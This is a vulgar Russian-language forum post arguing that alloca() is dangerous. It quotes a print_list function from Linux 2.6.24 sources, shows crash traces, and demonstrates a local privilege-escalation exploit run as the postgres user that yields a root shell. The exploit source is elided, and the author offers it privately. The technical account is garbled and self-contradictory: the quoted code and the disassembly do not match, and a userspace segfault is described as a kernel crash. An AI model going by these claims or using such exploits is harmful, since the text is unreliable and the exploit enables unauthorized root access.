для posix совместимых программ есть malloc и free
Я наслышан весьма
Что не так?
Что не так, да в ней всё не так, начиная с её назначения, вот к примеру дайте сначала я вам поясню для чего она нужна, дорогие мои, итак, аллокатор (выделятель ежели по русски) alloca() необходим для того, чтобы выделять память, которая автоматически освобождается, когда происходит возврат из функции, в которой вызывалась alloca, таким образом почти всегда невозможно определить длинну фрейма в выделяемом стеке, что почти всегда на 90 процентов делает вызов опасным для использования, по этому эта функция функция-пиздец и её использование в случаях когда оно может быть заменено чем-то дургим - дефолтных хардкод, с этим спорить я думаю никто из Вас не будет, но всеравно оно есть почти везде, а вот как оно есть и сколько его в этом то и прикол (везде по разному реализовано), то есть тут встаёт два вопроса:
1)Как оно есть?
2)Сколько этого говна?
проведём эксперимент и возьмём ядро 2.6.24 на ублюдской ubuntu, выполнив:
Код: Выделить всё
apt-get install linux-source-2.6.24 build-essential kernel-package libncurses5-dev fakeroot
поставилось, теперь идём в /usr/src и ищем это выполнив
Код: Выделить всё
cd /usr/src && tar xf linux-source-2.6.24.tar.bz2
смотрим сколько его
на фре:
Код: Выделить всё
[root@zingel /usr/home/666]# grep -R 'alloca(' /usr/src/sys/kern/* | wc -l
0
в линуксе:
Код: Выделить всё
root@test3:/usr/src# grep -R 'alloca(' linux-source-2.6.24/* | wc -l
3
какая прелесть и что же это? идём смотреть и что же мы видим? а видим мы вот что:
Код: Выделить всё
static void print_list(FILE * f, struct string_list *list)
{
struct string_list **e, **b;
struct string_list *tmp, **tmp2;
int elem = 1;
if (list == NULL) {
fputs("(nil)", f);
return;
}
tmp = list;
while ((tmp = tmp->next) != NULL)
elem++;
b = alloca(elem * sizeof(*e));
e = b + elem;
tmp2 = e - 1;
(*tmp2--) = list;
while ((list = list->next) != NULL)
*(tmp2--) = list;
while (b != e) {
print_node(f, *b++);
putc(' ', f);
}
}
какая прелесть, мы видим шикарное переполнение буфера в виртуальной функции для печати строк, олично идём и запарываем к ебаной матери ядро делая переполнение нулевого указателя:
Код: Выделить всё
root@test3:/usr/src# gcc -Wall -o list list.c
root@test3:/usr/src# ./list
raz
dva
tri i pizdec
Segmentation fault
(gdb) r
Starting program: /usr/src/list
Program received signal SIGSEGV, Segmentation fault.
0x00ae425b in strlen () from /lib/tls/i686/cmov/libc.so.6
смотрим дальше
Код: Выделить всё
(gdb) where
#0 0x0067725b in strlen () from /lib/tls/i686/cmov/libc.so.6
#1 0x00661635 in puts () from /lib/tls/i686/cmov/libc.so.6
#2 0x0804849c in print_list ()
#3 0x080484b7 in print_list ()
#4 0x080484b7 in print_list ()
#5 0x080484b7 in print_list ()
#6 0x08048458 in main ()
(gdb) p main
$1 = {<text variable, no debug info>} 0x8048414 <main>
(gdb)disass print_list
x08048494 <print_list+9>: mov %eax,(%esp)
0x08048497 <print_list+12>: call 0x8048374 <puts@plt>
0x0804849c <print_list+17>: mov 0x8(%ebp),%eax
0x0804849f <print_list+20>: test %eax,%eax
0x080484a1 <print_list+22>: je 0x80484b7 <print_list+44>
0x080484a3 <print_list+24>: mov 0x8(%ebp),%eax
0x080484a6 <print_list+27>: mov 0x4(%eax),%edx
0x080484a9 <print_list+30>: mov (%eax),%eax
0x080484ab <print_list+32>: mov %eax,(%esp)
0x080484ae <print_list+35>: mov %edx,0x4(%esp)
0x080484b2 <print_list+39>: call 0x804848b <print_list>
выходим, дальше
Код: Выделить всё
root@test3:/usr/src# ltrace ./list
__libc_start_main(0x8048414, 1, 0xbfbced34, 0x8048560, 0x8048550 <unfinished ...>
puts("raz"raz
) = 4
puts("dva"dva
) = 4
puts("tri i pizdec"tri i pizdec
) = 13
puts("\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"... <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
вот и оно, дальше берём кое чего и компилим:
Код: Выделить всё
root@test3:/usr/src# su postgres
postgres@test3:~$ cd ~
postgres@test3:~$ cat > ovn.c
...
^С
postgres@test3:~$ gcc -o ovn ovn.c
ovn.c: In function 'main':
ovn.c:106: warning: incompatible implicit declaration of built-in function 'strlen'
ovn.c:111: warning: incompatible implicit declaration of built-in function 'memcpy'
postgres@test3:~$ ./ovn
pileup-xpl by core 2001 - beep beep root!
usage: ./ovn [offset] [align(0..3)]
Ret-addr: 0xbf981598, offset: 0, align: 0.
raz
dva
tri i pizdec
Segmentation fault
Score: core wins!
sh: /dev/core:
#id
uid=0(root) gid=0(root) groups=0(root)
...вот такая забавная alloca(), да во фряхе такого нет, потом, что там есть по дефолту fstack_protector.
код кому интересно в личку - дам код.
Читайте я подожду, как прочитаете пойдём дальше.